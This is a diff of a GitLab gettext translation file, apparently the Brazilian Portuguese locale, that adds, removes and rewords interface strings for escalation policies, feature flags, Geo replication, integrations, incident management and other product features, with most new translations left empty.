+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr "Feature flag"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr "O comportamento de Feature flag é feito ao criar uma série de regras para definir o status de ambientes alvo. Um regra padrão de curinga %{codeStart}*%{codeEnd} para %{boldStart}Todos os Ambientes%{boldEnd} e você poderá adicionar quantas regras você precisar, escolhendo as especificações de ambiente abaixo. Você pode alternar o comportamento para cada uma de suas regras para configurá-los como %{boldStart}Ativo%{boldEnd} ou %{boldStart}Inativo%{boldEnd}."
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr "Começar a usar feature flags"
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr "Carregando feature flags"
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Mais informações"
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr "Nova feature flag"
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr "Ambientes alvo"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Ocorreu um erro ao buscar as feature flag."
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Fixo:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Fork criado a partir de"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Nunca"
msgid "Geo|Next sync scheduled at"
msgstr "Próxima sincronização programada às"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ainda não sincronizado"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Estado desconhecido"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Falha na verificação - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr "Tela cheia"
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr "Ir para commits"
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "Ir para o projeto"
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr "Info. do grupo:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr "Grupo: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr "Para visualizar o planejamento, adicione uma data de início ou de venci
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "Para expandir a sua pesquisa, altere ou remova filtros; de %{startDate} para %{endDate}."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "Grupos também podem ser aninhados criando %{subgroup_docs_link_start}subgrupos%{subgroup_docs_link_end}."
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr "Nenhum grupo encontrado"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Você pode gerenciar permissões de membros e acesso do seu grupo para cada projeto no grupo."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr "Mensagem de cabeçalho"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr "Ocultar carga"
msgid "Hide shared projects"
msgstr "Ocultar projetos compartilhados"
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Ocultar valor"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Histórico"
@@ -16306,9 +16544,24 @@ msgstr "Esqueci minha senha"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16318,9 +16571,6 @@ msgstr "ID:"
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Voltar"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,8 +17594,8 @@ msgstr "Indica se este runner pode escolher tarefas sem tags"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "Informar aos usuários sem chaves SSH configuradas que eles não podem realizar pushes por SSH até que uma seja adicionada"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "Informações sobre modelos adicionais de Páginas e como instalá-los podem ser encontradas em nosso %{pages_getting_started_guide}."
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Painéis"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr "Alternar painel"
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr "Issues podem ser bugs, tarefas ou ideias a serem discutidas. Além disso
msgid "Issues closed"
msgstr "Issues fechadas"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,15 +18613,15 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "URL Jaeger"
-msgid "Jaeger tracing"
-msgstr "Rastreamento de Jeager"
-
msgid "Jan"
msgstr "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Tarefas"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr "com"
msgid "Join Zoom meeting"
msgstr "Participe da reunião com Zoom"
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr "Chave: %{key}"
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr "A integração do cluster do Kubernetes foi removida com sucesso."
msgid "Kubernetes cluster was successfully updated."
msgstr "O cluster do Kubernetes foi atualizado com sucesso."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "Aprenda GitLab"
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr "O Let's Encrypt não aceita e-mails de example.com"
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's Encrypt é uma autoridade certificadora (CA) gratuita, automatizada e aberta, que fornece certificados digitais, afim de habilitar o HTTPS (SSL/TLS) para sites. Saiba mais sobre a configuração do Let's Encrypt seguindo a %{docs_link_start}documentação nas Páginas GitLab %{docs_link_end}."
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Licença"
@@ -19705,8 +20078,8 @@ msgstr ""
msgid "Manage"
msgstr "Gerenciar"
-msgid "Manage Web IDE features"
-msgstr "Gerenciar recursos do Web IDE"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Gerenciar acesso"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Merge requests"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Para agrupar métricas similares"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr "Segunda-feira"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
